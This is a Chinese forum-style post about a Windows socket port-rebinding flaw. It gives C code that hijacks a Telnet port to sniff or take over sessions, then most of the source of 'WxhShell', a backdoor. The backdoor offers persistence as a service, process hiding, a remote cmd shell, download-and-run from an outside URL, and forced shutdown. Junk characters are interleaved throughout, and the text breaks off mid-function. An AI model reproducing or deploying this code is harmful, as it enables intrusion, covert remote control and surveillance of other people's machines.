在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GP}+c8|2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ia/_61% k\M">K0E saddr.sin_family = AF_INET;
.w]S!=h 3Kum saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q0
8 [x|{VJ(h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&,`P%a&k Aaix?
|XN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=t-503e.J ::kpAE] 这意味着什么?意味着可以进行如下的攻击:
b~FmX aD3Q-a[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5($
'@u 6T~xjAuJ3T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%5H>tG`] yh Ymbu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5=Y\d,SS" :YZMRJL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l,3[hx x;*KRO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bwh.ekf8 qT L@N9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<$
Ar*<,6 yf6&'Y{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\(bML#I jVu3 !{} #include
/c 1FFkq|K #include
[VP~~*b #include
3^zOG2 #include
%@FTg$ DWORD WINAPI ClientThread(LPVOID lpParam);
VIxcyp0X int main()
bx<7@ {
/P|jHK|{ WORD wVersionRequested;
FeFH_ DWORD ret;
Y,@{1X`0@3 WSADATA wsaData;
+P <Lo I BOOL val;
+<H)DPG< SOCKADDR_IN saddr;
etH%E aF[ SOCKADDR_IN scaddr;
dGzZ_Vf int err;
Oj0/[(D- SOCKET s;
zKk2>. SOCKET sc;
g< {jgF int caddsize;
bXiT}5mJU HANDLE mt;
5q?ZuAAA DWORD tid;
b=+'i wVersionRequested = MAKEWORD( 2, 2 );
YvK8;<k@-? err = WSAStartup( wVersionRequested, &wsaData );
[nlW}1)46 if ( err != 0 ) {
QY<2i-A printf("error!WSAStartup failed!\n");
X^H)2G>e return -1;
lH ^[b[ }
R@r"a&{/ saddr.sin_family = AF_INET;
r#pC0Yj!3 _`zj^*% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.r?-O{2t !}^{W)h[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?J~(qa a; saddr.sin_port = htons(23);
7m=tu?@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RW|3d<Fj {
Y m|zM1qc printf("error!socket failed!\n");
>%.6n:\rG return -1;
e? fFh,a }
~V"D|U;i + val = TRUE;
.~6p/fHX //SO_REUSEADDR选项就是可以实现端口重绑定的
i4N'[ P} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
dg4 QA_" {
g%Ap <iT printf("error!setsockopt failed!\n");
(;' ?56 return -1;
tq^H) }
T?c:z?j_9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>_]j{}~\k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
vd9><W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Uok?FEN lM5Xw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=?3D:k7z {
t3b%f`D ret=GetLastError();
AjK'P<:/ printf("error!bind failed!\n");
y!Q&;xO+! return -1;
.3&zP }
#|34(ML listen(s,2);
nJ4i[j8 while(1)
`bffw:;% {
},'2j caddsize = sizeof(scaddr);
1
{dhGX //接受连接请求
w Maib3Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tm(.a?p if(sc!=INVALID_SOCKET)
#!KbqRt {
~w'M8( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
WLEjRx if(mt==NULL)
a="Z]JGk {
]z,W1Zs? printf("Thread Creat Failed!\n");
*.AokY)_a break;
9Bl_t}0 }
o64&BpCK }
E[>4b7{g: CloseHandle(mt);
`6b!W0$
- }
z)r)w?A closesocket(s);
:grJ}i-D WSACleanup();
Y0=qn'`. return 0;
` IiAtS }
]C-hl}iq DWORD WINAPI ClientThread(LPVOID lpParam)
UfSWdR) {
iNgHx[*? SOCKET ss = (SOCKET)lpParam;
C$xU!9K[+ SOCKET sc;
VC\43A,9 unsigned char buf[4096];
"*WzoRA={ SOCKADDR_IN saddr;
`(?E-~#' long num;
a1Qg&s< DWORD val;
wGE:U` DWORD ret;
h&||Ql1 //如果是隐藏端口应用的话,可以在此处加一些判断
:Q=Jn?Gjb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
P7(+{d{ saddr.sin_family = AF_INET;
,YJ\
$? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oW(p (> saddr.sin_port = htons(23);
RZ9vQ\X
U) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H3}{]&a {
`(<XdlOj printf("error!socket failed!\n");
j8!fzJG return -1;
HjV3PFg
}
!MNUp(: val = 100;
Iu^#+n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]FvN*@lG {
R}a,.C ret = GetLastError();
s"<k)Xi return -1;
Qi#%&Jz>f }
_) 2fXG! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>sdj6^[+ {
#[C|%uq ret = GetLastError();
jm'(t=Ze return -1;
,2/qQD n/ }
a -,!K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*[(O&L&0 {
V=BF"S;-' printf("error!socket connect failed!\n");
d>eVR closesocket(sc);
d>}pz closesocket(ss);
6+A<_r`#Q return -1;
&aldnJ }
900#K while(1)
g= k}6"F~ {
a;D{P`%n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5bR;R{:x //如果是嗅探内容的话,可以再此处进行内容分析和记录
0#KDvCBJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(Sr&Y1D num = recv(ss,buf,4096,0);
gYfN?A*`_ if(num>0)
wP- pFc send(sc,buf,num,0);
33DP0OBL^ else if(num==0)
?N<* ATCL break;
E8u:Fgs num = recv(sc,buf,4096,0);
wIz<Y{HA= if(num>0)
p#)u2^ send(ss,buf,num,0);
Tk9u+;=6$ else if(num==0)
Pfu2=2Ra break;
ge9j:S{ }
>XjSVRO closesocket(ss);
A!No:?S closesocket(sc);
mHB*4L return 0 ;
r.0IC*Y }
\,i9 m9;y b"t95qlL pI|Lt ==========================================================
T>e!DOW; bv$_t)Xh 下边附上一个代码,,WXhSHELL
A1zM$
wDU -$J\BkI ==========================================================
6uW?xB9 fGHYs #include "stdafx.h"
?Ko)AP N^pTj<M<g #include <stdio.h>
+',[q #include <string.h>
u;p{&\(] #include <windows.h>
Uc%(#I]Mi #include <winsock2.h>
[URo# #include <winsvc.h>
w d2GKq! #include <urlmon.h>
W'u6F-$2 mk8xNpk B #pragma comment (lib, "Ws2_32.lib")
I3]-$ #pragma comment (lib, "urlmon.lib")
%eB 0)' |}
;&xI #define MAX_USER 100 // 最大客户端连接数
M?Tb9c?` #define BUF_SOCK 200 // sock buffer
NypM+y #define KEY_BUFF 255 // 输入 buffer
wv>*g:El' m.e+S,i #define REBOOT 0 // 重启
IL` X}=L_ #define SHUTDOWN 1 // 关机
C']TO/2q x7)j?2 #define DEF_PORT 5000 // 监听端口
u+UtvzUC x1</%y5ev #define REG_LEN 16 // 注册表键长度
[ Hw #define SVC_LEN 80 // NT服务名长度
Md(AqaA qPGpN0M` // 从dll定义API
A(G%9'T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"{1`~pDj? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
: kz*.1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
a|rN %hA4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
B/.+&AJw 6&_"dg" // wxhshell配置信息
8\HL8^6c5 struct WSCFG {
u:AKp<' int ws_port; // 监听端口
)Kkw$aQI"d char ws_passstr[REG_LEN]; // 口令
'NHtCs=F int ws_autoins; // 安装标记, 1=yes 0=no
8}z]B^?Fy char ws_regname[REG_LEN]; // 注册表键名
ZDuP|" ^ char ws_svcname[REG_LEN]; // 服务名
@TF^6)4f char ws_svcdisp[SVC_LEN]; // 服务显示名
CZ"~N` char ws_svcdesc[SVC_LEN]; // 服务描述信息
P,U$
X+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@zo}#.g int ws_downexe; // 下载执行标记, 1=yes 0=no
u U Xj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|&OW_*l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ya7PF~:E- b5K6F:D22 };
Agt6G\n TP7'tb // default Wxhshell configuration
IlQNo 1 struct WSCFG wscfg={DEF_PORT,
gv)F`uRWA "xuhuanlingzhe",
]5| o8. 1,
D#Qfa!=g "Wxhshell",
1{D_30sG. "Wxhshell",
@a-u_|3q "WxhShell Service",
n${,r "Wrsky Windows CmdShell Service",
p|fSPSz "Please Input Your Password: ",
9D@
$Y54 1,
\1|]?ZQ\ K "
http://www.wrsky.com/wxhshell.exe",
V@krw"vW "Wxhshell.exe"
f}{ lRk };
{p3VHd# Tk~RT<\Ab+ // 消息定义模块
5@l[!Jl0k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.x\fPjB char *msg_ws_prompt="\n\r? for help\n\r#>";
lO=+V 6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
T,N"8N{K" char *msg_ws_ext="\n\rExit.";
4#hDt^N~ char *msg_ws_end="\n\rQuit.";
%B9iby8)1 char *msg_ws_boot="\n\rReboot...";
s}"5uDfn1F char *msg_ws_poff="\n\rShutdown...";
&q~**^;' char *msg_ws_down="\n\rSave to ";
VGFWF3s &%J+d"n( char *msg_ws_err="\n\rErr!";
E.~; char *msg_ws_ok="\n\rOK!";
eyq\a'tyB &XG k char ExeFile[MAX_PATH];
5A| 4 int nUser = 0;
fzcPi9+ HANDLE handles[MAX_USER];
w1Ar[
P int OsIsNt;
ttQX3rmF01 5WhR| SERVICE_STATUS serviceStatus;
9gjI;*(z1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
o=/Cje "s[Y$!# // 函数声明
%1f, 8BM int Install(void);
"V/|RC int Uninstall(void);
2hB';Dv int DownloadFile(char *sURL, SOCKET wsh);
tF:'Y ~3 p int Boot(int flag);
Q
I!c= :u void HideProc(void);
H<tk/\C int GetOsVer(void);
?t;>]Wo; int Wxhshell(SOCKET wsl);
%Xm3m0nsv{ void TalkWithClient(void *cs);
z3F ^OU int CmdShell(SOCKET sock);
$E=t6WvA int StartFromService(void);
?Q$LIoR int StartWxhshell(LPSTR lpCmdLine);
*Nfn6lVB W40GW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1|K>V;C VOID WINAPI NTServiceHandler( DWORD fdwControl );
[h"#Gwb=; ?gZJ v // 数据结构和表定义
-KzU'' SERVICE_TABLE_ENTRY DispatchTable[] =
m]g"]U: {
L|sWSrqd {wscfg.ws_svcname, NTServiceMain},
'Na \9b( {NULL, NULL}
@\~qXz{6J };
iC U[X& ,p(4OZz5, // 自我安装
M :m-i X int Install(void)
g 4n&k {
:V)W?~Z7B char svExeFile[MAX_PATH];
i?7%z` HKEY key;
>z=_V|^$ strcpy(svExeFile,ExeFile);
ZqI.n4:9 e"jA#Y # // 如果是win9x系统,修改注册表设为自启动
NW-l_]k if(!OsIsNt) {
3F%Qq7v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7e,<$PH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F~Kd5-I@ RegCloseKey(key);
Salu[)+? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Sr7+DCr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7ko7)"N RegCloseKey(key);
Q:iW k6 return 0;
9JF*xXd>Q }
8ad!. }
?$O5w* }
,v"/3Ff{, else {
j/zD`ydj #=WDJT: // 如果是NT以上系统,安装为系统服务
]Ll< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=k4yWC5- if (schSCManager!=0)
K#"@nVWJ.m {
!g? ~<` SC_HANDLE schService = CreateService
qZ!1>`B (
vPG!S{4 schSCManager,
tVx.J'"Y wscfg.ws_svcname,
Q*TxjE7K
wscfg.ws_svcdisp,
{HqwpB\@ SERVICE_ALL_ACCESS,
#Id.MLHxA_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
FNZB M SERVICE_AUTO_START,
9Ao0$|@b SERVICE_ERROR_NORMAL,
]{9oB-;, svExeFile,
?KxI|os NULL,
"?j|;p@!> NULL,
`R@24 ) NULL,
-_jV.`t NULL,
>l$vu-k)~4 NULL
t\2myR3 );
YYI if (schService!=0)
p71%-nV {
?`F")y CloseServiceHandle(schService);
`w Sg/ CloseServiceHandle(schSCManager);
@S~'m; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X.0/F6U strcat(svExeFile,wscfg.ws_svcname);
.}fc*2.' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!2x"'o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
JxQwxey{ RegCloseKey(key);
X7kJWX return 0;
ADX} }
u)P$xkf }
$8&HpX#h$ CloseServiceHandle(schSCManager);
Y51XpcXQ }
FH8?W|
G }
tC+9W1o C!w@Naj return 1;
?Di,' }
Fga9 4~a0
// 自我卸载
k;3P;@3,W int Uninstall(void)
4qda!% {
#f|-l$a)3a HKEY key;
"sFdrXJ +!POKr if(!OsIsNt) {
ZP)=2'RY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7>{edNy!, RegDeleteValue(key,wscfg.ws_regname);
kyJv,!}; RegCloseKey(key);
ZNB*Azi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,|I\{J #C RegDeleteValue(key,wscfg.ws_regname);
,WOF) RegCloseKey(key);
&3{:h return 0;
nGW
wXySq }
|~H'V4)zXu }
>1ZMQgCG }
Ao96[2U6 else {
hZlajky RA[` Cp" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sSG]I%oB3 if (schSCManager!=0)
MC#bo{Bq3- {
9r1pdG_C@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mC~W/KReA if (schService!=0)
dab>@z4 {
mS~3 QV if(DeleteService(schService)!=0) {
=mqV&FgRo CloseServiceHandle(schService);
<O$'3_S"D CloseServiceHandle(schSCManager);
v,>F0ofJ return 0;
@=wAk5[IN }
O8u"Y0$*w CloseServiceHandle(schService);
W&06~dI1! }
>K\ 79<x| CloseServiceHandle(schSCManager);
( kp}mSw }
-I=}SZ }
RAE|eTnna C,PCU <q return 1;
FA{I
S0 }
oU~V0{7g e^'?:j // 从指定url下载文件
s*9tWSd int DownloadFile(char *sURL, SOCKET wsh)
LO"HwN43h {
y6*i/3 HRESULT hr;
=As'vt
0 char seps[]= "/";
|P?8<8p char *token;
[RpFC4W char *file;
3SIB #"9 char myURL[MAX_PATH];
tDN-I5q char myFILE[MAX_PATH];
D'nV
&m 5 (H; x74 strcpy(myURL,sURL);
N=I5MQG token=strtok(myURL,seps);
* n!0 while(token!=NULL)
O1#rCFC|y {
I:6xDDpZG` file=token;
+}+hTY$a token=strtok(NULL,seps);
!Rb7q{@>
}
!;\-V}V aRG[F*BY GetCurrentDirectory(MAX_PATH,myFILE);
e9B, strcat(myFILE, "\\");
-nk %He strcat(myFILE, file);
|e< U %v send(wsh,myFILE,strlen(myFILE),0);
&H4UVI send(wsh,"...",3,0);
8%xtb6#7M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%!.rP if(hr==S_OK)
U'lmQrF! return 0;
v>R.M"f else
^d=Z/d[ return 1;
-x_iqrB r*p%e\ 3 }
Cza)s b6/:reH{ // 系统电源模块
VR:b1XWX int Boot(int flag)
mmjB1L {
(u'/tNGS HANDLE hToken;
}bnkTC TOKEN_PRIVILEGES tkp;
lmc-ofEv `GDYL7pM( if(OsIsNt) {
57MoO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=p7W^/c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[&`>&u@MK tkp.PrivilegeCount = 1;
YJL=|v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[c W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L+kS8D< if(flag==REBOOT) {
eD(a
+El} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uBMNkN8 return 0;
87>Qw,r }
Z\7bp&& else {
L"-&B$B: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ut,"[+J return 0;
'Qfy+_0 }
0,3 ':Df }
Q?;ntzi else {
T6,lk1S'= if(flag==REBOOT) {
>5gzo6j/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J~Ph)|AiS return 0;
Uh8ieb }
7>mYD3 else {
Z)&HqqT3p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f
0#V^[%Q return 0;
VsMN i#? }
enrmjA&3 }
Oxvw`a# 0zxeA+U return 1;
0`thND)?O }
gjWH
}(K N} h%8\ // win9x进程隐藏模块
N~kYT\$b# void HideProc(void)
lpM{@JC {
[eN{Ft0x !Yf0y;e|: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`j$d(+Gv
if ( hKernel != NULL )
xr2:bu {
Bx)&MYY}[[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>dGYZfqD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
eC39C2q\ FreeLibrary(hKernel);
wz#n$W3mGf }
[P,nW/H ?C{N0?[P- return;
KAzRFX), }
0Q9OQqg
m K7Vr$,p // 获取操作系统版本
[<;2 C int GetOsVer(void)
%G&v@R {
{cI<4>< OSVERSIONINFO winfo;
Ye6O!,R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G<eJ0S GetVersionEx(&winfo);
Oe!&Jma*> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7EXmmB~>, return 1;
(Vv]:Y] else
ATHz~a return 0;
463dLEd }
QMY4%uyY! u2Obb`p S // 客户端句柄模块
f+Go 8Lg=M int Wxhshell(SOCKET wsl)
OXB-.< {
jg8P4s SOCKET wsh;
2Qj)@&zKe# struct sockaddr_in client;
GZt] 38V)g DWORD myID;
D=vq<X' AF}"
while(nUser<MAX_USER)
co80M;4 {
hzb|: int nSize=sizeof(client);
}b(e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3\G=J if(wsh==INVALID_SOCKET) return 1;
Hdx|k=-Q^ Z(eSnV_RL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
H/&Q,9sU21 if(handles[nUser]==0)
-EaZ<d[|0 closesocket(wsh);
TbVL71c else
QEKFuY<E+ nUser++;
5aNDW'z`f }
(^9M9+L[i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gi>_>zStv ]Dg0@Y return 0;
88j
;7 }
sD+G+ v!xrUyN~m // 关闭 socket
rg}kxvu void CloseIt(SOCKET wsh)
T7~v40jn| {
_'U?! closesocket(wsh);
I "2FTGA nUser--;
!ei20@ ExitThread(0);
T}[vfIJD }
9m4rNvb x?'% // 客户端请求句柄
X)OP316yx void TalkWithClient(void *cs)
L?+|%[ {
Z-a(3& `h!&-> SOCKET wsh=(SOCKET)cs;
G\ZRNb char pwd[SVC_LEN];
qL.Y_,[[ char cmd[KEY_BUFF];
s.)w
A`&& char chr[1];
qXGLv4c`Q int i,j;
m0\}Cc @ -d4kg while (nUser < MAX_USER) {
3yB6]U 6CRPdLTDf if(wscfg.ws_passstr) {
jgw'MpQm{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kw ^ Sbxm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1>y=i+T/b //ZeroMemory(pwd,KEY_BUFF);
%esZ}U i=0;
!bQ
&n while(i<SVC_LEN) {
NOp=/ 4(GgaQFO? // 设置超时
kGV`Q fd_set FdRead;
`f+g A struct timeval TimeOut;
=e-aZ0P FD_ZERO(&FdRead);
fZ:rz;tM FD_SET(wsh,&FdRead);
rOr1H! TimeOut.tv_sec=8;
A;a(n\Sy TimeOut.tv_usec=0;
0a6z"K} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.hNw1~Fj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"sX?wTag "gajBY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oe|<xWu pwd
=chr[0]; |P0L,R
if(chr[0]==0xd || chr[0]==0xa) { g]
C3lf-
pwd=0; <?7,`P:h[
break; 2X c
} UA4d|^ev
i++; &|"I0|tJ
} Fd,+(i D
)r,R!8
// 如果是非法用户,关闭 socket l@/kPEh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C*6)Ut '
} _JIUds5
#L=
eK8^e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gIM'bA<~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9`n)"r
Nz3%}6F:
while(1) { ,3--ERf
>AX~c
jo
ZeroMemory(cmd,KEY_BUFF); =*:_swd
{%~4RZA
// 自动支持客户端 telnet标准 _AB9BQm
j=0; OPt;G,$ta
while(j<KEY_BUFF) { 6?.pKFBZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `CEj 4
cmd[j]=chr[0]; ME@6.*
if(chr[0]==0xa || chr[0]==0xd) { kxqc6
cmd[j]=0; 8u5
'g1M
break; chMc(.cN0
} eGSp(o5 6
j++; dGD^op,6g
} !+DJhw&c,
&<|-> *v
// 下载文件 /`O]etr`d
if(strstr(cmd,"http://")) { fw|+7 O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LUDJPIk
if(DownloadFile(cmd,wsh)) l*\~ew
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<e7(=
else .F$|j1y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jy(+
0F
} 9+8!xwR:
else { 7}cDGdr
%w8GGm8^/
switch(cmd[0]) { Ph+X{|
=GKS;d#/
// 帮助 ZAX0n!db3
case '?': { KW|\)83$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MYhx'[4[3
break; +fd@K
} 8hK P
// 安装 Gkv~e?Kc~^
case 'i': { f7Df %&d
if(Install()) mYh5#E41J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WfDX"rA
else :K^gu%,&$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y3cf[Q
break; y5/'!L)g
} '{0[&i*
// 卸载 Z<ajET`)
case 'r': { 6mu<&m@
if(Uninstall()) 1 O7]3&L@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~k*r{?H})
else Ki/'Ic1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7k]RO
break; HUJ|-)"dw
} v0Ai!#
// 显示 wxhshell 所在路径 -*|:v67C&
case 'p': { >sQ2@"y)s2
char svExeFile[MAX_PATH]; [Y$5zeA
strcpy(svExeFile,"\n\r"); )_77>f%
strcat(svExeFile,ExeFile); !.3R~0b
send(wsh,svExeFile,strlen(svExeFile),0); ok `]:gf
break; MCk^Tp!
} zb5N,!%r
// 重启 ,M)k7t:
case 'b': { b4Cfd?'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L6:W'u^
if(Boot(REBOOT)) L`UG=7r q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0rOcaTY
else { >*dQqJI
closesocket(wsh); EJZ@p7*Oj
ExitThread(0); Q !9HA[Ly
} ,AH0*L
break; L
42|>%uo
} 1$$37?FE
// 关机 #(%t*"IY;
case 'd': { y(bsCsV&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r^$\t0h(U8
if(Boot(SHUTDOWN)) #B @X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KNg8HYFW\
else { 2Co@+I[,4&
closesocket(wsh); E:
9o;JU
ExitThread(0); _QR
g7
} ]7a;jNQu
break; R?
O-x9
} J &!B|TS
// 获取shell N-[n\}'
case 's': { AG]WO8f)
CmdShell(wsh); XQ]`&w(
closesocket(wsh); [2Iau1<@
ExitThread(0); C"w,('~@kW
break; 6Wj@r!u
} 4s9c#nVlu
// 退出 xXF2"+
case 'x': { [?-]PZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3bWum
CloseIt(wsh); $`|5/,M%QN
break; ~32Pjk~
} hM~eJv
// 离开 L 5+J
^
case 'q': { W1vCN31
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bwjg#1 E
closesocket(wsh); tNU-2r
WSACleanup(); mA&=q_gS
exit(1); D%-{q>F!gf
break; JwZ?hc
} m$,,YKhh
} (@ "=F6P
} R1}IeeZO?&
a\=-D:
// 提示信息 [*<.?9n)or
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [*Q-nZ/L
} PdT83vOCE
} W9dYljnZ8i
C` pp
return; ?cJY
B)
} Z|
We9%
Gz?2b#7v
// shell模块句柄 VBM/x|'
int CmdShell(SOCKET sock) 8Jr1_a
{ r*chL&7
STARTUPINFO si; l]H0g[
ZeroMemory(&si,sizeof(si)); rJDnuR
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sTkIR5Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; | H8^
PROCESS_INFORMATION ProcessInfo; ! a o6e
char cmdline[]="cmd"; vv &BhIf3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +semfZ)
return 0; \<ZLoy_
} y0<Uu
4d0#86l~J/
// 自身启动模式 nTs/Q V
int StartFromService(void) SET-8f
{ j eq:
typedef struct ZRnL_z~
{ atyu/+U'}
DWORD ExitStatus; V5AW&kfd
DWORD PebBaseAddress; l4KbTKm7
DWORD AffinityMask; ACb/ITu
DWORD BasePriority; >B_n/v3P(M
ULONG UniqueProcessId; r0\?WoF2C
ULONG InheritedFromUniqueProcessId; bj}=8k0
} PROCESS_BASIC_INFORMATION; ZHCr2^w6
